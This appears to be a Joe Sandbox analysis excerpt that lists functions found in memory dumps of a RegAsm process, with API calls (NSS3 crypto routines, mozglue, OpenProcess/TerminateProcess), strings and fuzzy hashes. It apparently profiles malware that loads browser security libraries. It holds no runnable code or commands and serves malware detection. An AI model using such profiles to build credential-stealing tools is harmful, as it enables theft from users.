sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014576,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C90A94F

Strings

database corruption, xrefs: 6C90A943
%s at line %d of [%.10s], xrefs: 6C90A948
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C90A939

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 7559760d47da534dfdb735450fa325a1d82cb7aa241009c83c914f5ae61f0609
Instruction ID: fb5b64dd4f55cfe63382349fb7c993b073f78ca9ad42244c20adb8e39cab993a
Opcode Fuzzy Hash: 7559760d47da534dfdb735450fa325a1d82cb7aa241009c83c914f5ae61f0609
Instruction Fuzzy Hash: D5012631B002185FC7008B6AEC11B9BB3F9AB84309F46452DE95997A40DB71EC4887A1

Function 004187F0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00418FBE,00000000), ref: 004187FB
HeapAlloc.KERNEL32(00000000,?,?,00418FBE,00000000), ref: 00418802
wsprintfW.USER32 ref: 00418818

Strings

%hs, xrefs: 0041880F

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: 79e9d64faf86ba83e26f0357b0342198ccb0edd89fdd2a8e15abc92a0c7754c1
Instruction ID: ed9823074eed6dc814ef0c36eacf0fed31b39f083cef978cb02bde33a7ef5422
Opcode Fuzzy Hash: 79e9d64faf86ba83e26f0357b0342198ccb0edd89fdd2a8e15abc92a0c7754c1
Instruction Fuzzy Hash: DAE0EC75A40208FBD720EF94ED0AE6D77A9EB04711F100154FE0997290DA719E119BA9

Function 6C8B0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C8B0CD5

Part of subcall function 6C89F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C89F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C8B0D40
free.MOZGLUE ref: 6C8B0DCB

Part of subcall function 6C885E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C885EDB
Part of subcall function 6C885E90: memset.VCRUNTIME140(6C8C7765,000000E5,55CCCCCC), ref: 6C885F27
Part of subcall function 6C885E90: LeaveCriticalSection.KERNEL32(?), ref: 6C885FB2

free.MOZGLUE ref: 6C8B0DDD
free.MOZGLUE ref: 6C8B0DF2

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 13dca05014adf6e12e2152ec0dd38542a056f1c44fa8b0c769cddc692de85950
Instruction ID: 31ec7229e49da694da05f37dfd29c295e424288a157b79a700a3c9c2cbc172d0
Opcode Fuzzy Hash: 13dca05014adf6e12e2152ec0dd38542a056f1c44fa8b0c769cddc692de85950
Instruction Fuzzy Hash: BE4127B19087849BD330CF29C28079AFBE5BFC9614F558E2EE8D897750D770A449CB92

Function 6C885C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C885D40
EnterCriticalSection.KERNEL32(6C8EF688), ref: 6C885D67
__aulldiv.LIBCMT ref: 6C885DB4
LeaveCriticalSection.KERNEL32(6C8EF688), ref: 6C885DED

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 117d6d3990ff880f3695f6dc51af19ee12f0f51a8a4b52852ad0228ee53dd46d
Instruction ID: d9db686bfee8ac715d09b74e682d64617fbcc1c3789ff1497834b5164e5ade8a
Opcode Fuzzy Hash: 117d6d3990ff880f3695f6dc51af19ee12f0f51a8a4b52852ad0228ee53dd46d
Instruction Fuzzy Hash: 99516071E012198FDF28CF68C954AAEBBB1BB99308F158A29D811A7B51C7306D45CBD0

Function 6C86CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C86CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C86CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C86CF4E

Strings

0, xrefs: 6C86CF30

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: b220b757813da0026d9e99d9ac53d4bfbe81c7bd9b1666bf983310744a5e3d6e
Instruction ID: e72b70eb2f155a2e70a3448779f4cb1ded037e5d67da7a840b603cc6a5b01530
Opcode Fuzzy Hash: b220b757813da0026d9e99d9ac53d4bfbe81c7bd9b1666bf983310744a5e3d6e
Instruction Fuzzy Hash: B3511271A0025A8FCB10CF1DC490AAABBB5EF99300F19899DD8595F752D771BD06CBE0

Function 6CA44FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C9285D2,00000000,?,?), ref: 6CA44FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA4500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA450C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA450D6

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: cde391aff8124ed6f933a44e2b708feaded7217d3a7740f9323f67fab98660b7
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: DC417FB6A402118FCB18CF19DCD179AB7E1BF8431971D8669D84ACBB02E375E8D1CB81

Function 6C986C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C986C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C986CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C986CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CAA8FE0), ref: 6C986CFE

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: cdad8e44c25d82c1b73d91999f31627290ad2ee71ae665198090421498e4e618
Instruction ID: 33e845eec08e21ac65c469b3d72fb06b74354b419d2861890b73970c2ce129db
Opcode Fuzzy Hash: cdad8e44c25d82c1b73d91999f31627290ad2ee71ae665198090421498e4e618
Instruction Fuzzy Hash: 3A3180B1A012169FDB04DF65CC91ABFBBF9EF99248B10482DD905EB741EB31D905CBA0

Function 6CA94F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6CA94F5D
free.MOZGLUE(?), ref: 6CA94F74
free.MOZGLUE(?), ref: 6CA94F82
GetLastError.KERNEL32 ref: 6CA94F90

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 76745cbc1653727a7cc82d9a1e6d7f7db131b516fb0cee05a93291bdf676b04c
Instruction ID: 44d632df85263239da629d3929e58382adf2060e2e14288823531373c36615e9
Opcode Fuzzy Hash: 76745cbc1653727a7cc82d9a1e6d7f7db131b516fb0cee05a93291bdf676b04c
Instruction Fuzzy Hash: C1314B75A0070A4BEB01CB68DC42BDFB3F8EF45748F084229EC26A7780DB34E9058691

Function 6C8A6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C8A82BC,?,?), ref: 6C8A649B

Part of subcall function 6C87CA10: malloc.MOZGLUE(?), ref: 6C87CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8A64A9

Part of subcall function 6C89FA80: GetCurrentThreadId.KERNEL32 ref: 6C89FA8D
Part of subcall function 6C89FA80: AcquireSRWLockExclusive.KERNEL32(6C8EF448), ref: 6C89FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8A653F
free.MOZGLUE(?), ref: 6C8A655A

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: ddcccc6073159a9ca3656393652f12b8bcc793c024c01c516415b957683c8e71
Instruction ID: 3c8e64ec5a8ce2562ef0f70d363b34d8cb384a433e4b4c48a9c4080675d8d8b5
Opcode Fuzzy Hash: ddcccc6073159a9ca3656393652f12b8bcc793c024c01c516415b957683c8e71
Instruction Fuzzy Hash: DB318FB5A043059FD710CF28D984A9ABBF4BF89318F10483EE85A97741DB30E909CBD2

Function 00418F70 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00418F8B

Part of subcall function 004187F0: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00418FBE,00000000), ref: 004187FB
Part of subcall function 004187F0: HeapAlloc.KERNEL32(00000000,?,?,00418FBE,00000000), ref: 00418802
Part of subcall function 004187F0: wsprintfW.USER32 ref: 00418818

OpenProcess.KERNEL32(00001001,00000000,?), ref: 0041904B
TerminateProcess.KERNEL32(00000000,00000000), ref: 00419069
CloseHandle.KERNEL32(00000000), ref: 00419076

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 396451647-0
Opcode ID: 4ff126167b0771d044181f57398eb51b6d83ce20c11284de7bc47067dc980c11
Instruction ID: 3daad27826ff673201e4cbb303e81af6821d19ef8fccaa22ba62c435337ce2e5
Opcode Fuzzy Hash: 4ff126167b0771d044181f57398eb51b6d83ce20c11284de7bc47067dc980c11
Instruction Fuzzy Hash: 02316D71E01208AFDB24DFE0CD49BEDB775AF48304F104059F606AB294DBB8AE85CB55

Function 6C9F6DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C9F6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9F6E57

Part of subcall function 6CA2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA2C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C9F6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C9F6EAA

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 557c7871f658e37be5b21e2ad4c6494a330028994c4248976d21d8d01f3fd312
Instruction ID: c9869263557dddd0080fcce8477c90d9a893617deb112c2dc91cd9f65f8236a2
Opcode Fuzzy Hash: 557c7871f658e37be5b21e2ad4c6494a330028994c4248976d21d8d01f3fd312
Instruction Fuzzy Hash: 7431C333610712EFDB145E74DD043A6B7A8AB0531AF10463CD4A9D6A51EB31F9BACF81

Function 6C9F2880 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

NSS_CMSEncoder_Finish.NSS3(?), ref: 6C9F2896
NSS_CMSEncoder_Finish.NSS3(?), ref: 6C9F2932
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9F294C
free.MOZGLUE(?), ref: 6C9F2955

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Encoder_Finish$Arena_FreeUtilfree
String ID:
API String ID: 508480814-0
Opcode ID: 9a8015c2bf1a583b19465fe4581d016ae7af01d232706bc4e9414537b30d8db8
Instruction ID: db5fe4474d79d75a3d1a85dacea64e80b89875ba419c2fbda154d3258cf9c4cd
Opcode Fuzzy Hash: 9a8015c2bf1a583b19465fe4581d016ae7af01d232706bc4e9414537b30d8db8
Instruction Fuzzy Hash: C82136B6600A409BE7108B26DC09F4377E9AFA435CF154438E469C7B60FB31F85A8751

Function 6CA2A8F0 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6CA12AE9,00000000,0000065C), ref: 6CA2A91D

Part of subcall function 6C9CADC0: TlsGetValue.KERNEL32(?,6C9ACDBB,?,6C9AD079,00000000,00000001), ref: 6C9CAE10
Part of subcall function 6C9CADC0: EnterCriticalSection.KERNEL32(?,?,6C9ACDBB,?,6C9AD079,00000000,00000001), ref: 6C9CAE24
Part of subcall function 6C9CADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C9AD079,00000000,00000001), ref: 6C9CAE5A
Part of subcall function 6C9CADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C9ACDBB,?,6C9AD079,00000000,00000001), ref: 6C9CAE6F
Part of subcall function 6C9CADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C9ACDBB,?,6C9AD079,00000000,00000001), ref: 6C9CAE7F
Part of subcall function 6C9CADC0: TlsGetValue.KERNEL32(?,6C9ACDBB,?,6C9AD079,00000000,00000001), ref: 6C9CAEB1
Part of subcall function 6C9CADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C9ACDBB,?,6C9AD079,00000000,00000001), ref: 6C9CAEC9

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6CA12AE9,00000000,0000065C), ref: 6CA2A934
SECITEM_ZfreeItem_Util.NSS3(00068C9A,00000000,00000000,00000000,?,?,6CA12AE9,00000000,0000065C), ref: 6CA2A949
free.MOZGLUE(00068C86,00000000,0000065C), ref: 6CA2A952

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 91cd9bd339afa7571483355ce319e772bd23c8e81aa9a7e110ceec55dbed4693
Instruction ID: 0704c9a0d2e6ccb8a0f694908da647b2cfc4e7ffba1e9ea29a9c9b218a993c5e
Opcode Fuzzy Hash: 91cd9bd339afa7571483355ce319e772bd23c8e81aa9a7e110ceec55dbed4693
Instruction Fuzzy Hash: 8A3159B46012119FD704CF59D980E62B7E9FF4C318F1981A9E8098B752E734EC40CBA1

Function 6C9C4FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C9CB60F,00000000), ref: 6C9C5003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C9CB60F,00000000), ref: 6C9C501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C9CB60F,00000000), ref: 6C9C504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C9CB60F,00000000), ref: 6C9C5064

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 48d0b0635ba4845e1603b9004c0de4101eafb10e18d8b90ad2e833507ac48e8d
Instruction ID: f46806ddec94daa5fa12e05748b4d97c13622bfb6a694476b268ba48ce212be2
Opcode Fuzzy Hash: 48d0b0635ba4845e1603b9004c0de4101eafb10e18d8b90ad2e833507ac48e8d
Instruction Fuzzy Hash: 813116B4A05B06CFDB04EF68C48456ABBF8FF08308B148569D959D7711EB30E895CBD2

Function 6C9F2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C9F2E08

Part of subcall function 6C9E14C0: TlsGetValue.KERNEL32 ref: 6C9E14E0
Part of subcall function 6C9E14C0: EnterCriticalSection.KERNEL32 ref: 6C9E14F5
Part of subcall function 6C9E14C0: PR_Unlock.NSS3 ref: 6C9E150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C9F2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C9F2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9F2E95

Part of subcall function 6C9E1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C9888A4,00000000,00000000), ref: 6C9E1228
Part of subcall function 6C9E1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C9E1238
Part of subcall function 6C9E1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C9888A4,00000000,00000000), ref: 6C9E124B
Part of subcall function 6C9E1200: PR_CallOnce.NSS3(6CAE2AA4,6C9E12D0,00000000,00000000,00000000,?,6C9888A4,00000000,00000000), ref: 6C9E125D
Part of subcall function 6C9E1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C9E126F
Part of subcall function 6C9E1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C9E1280
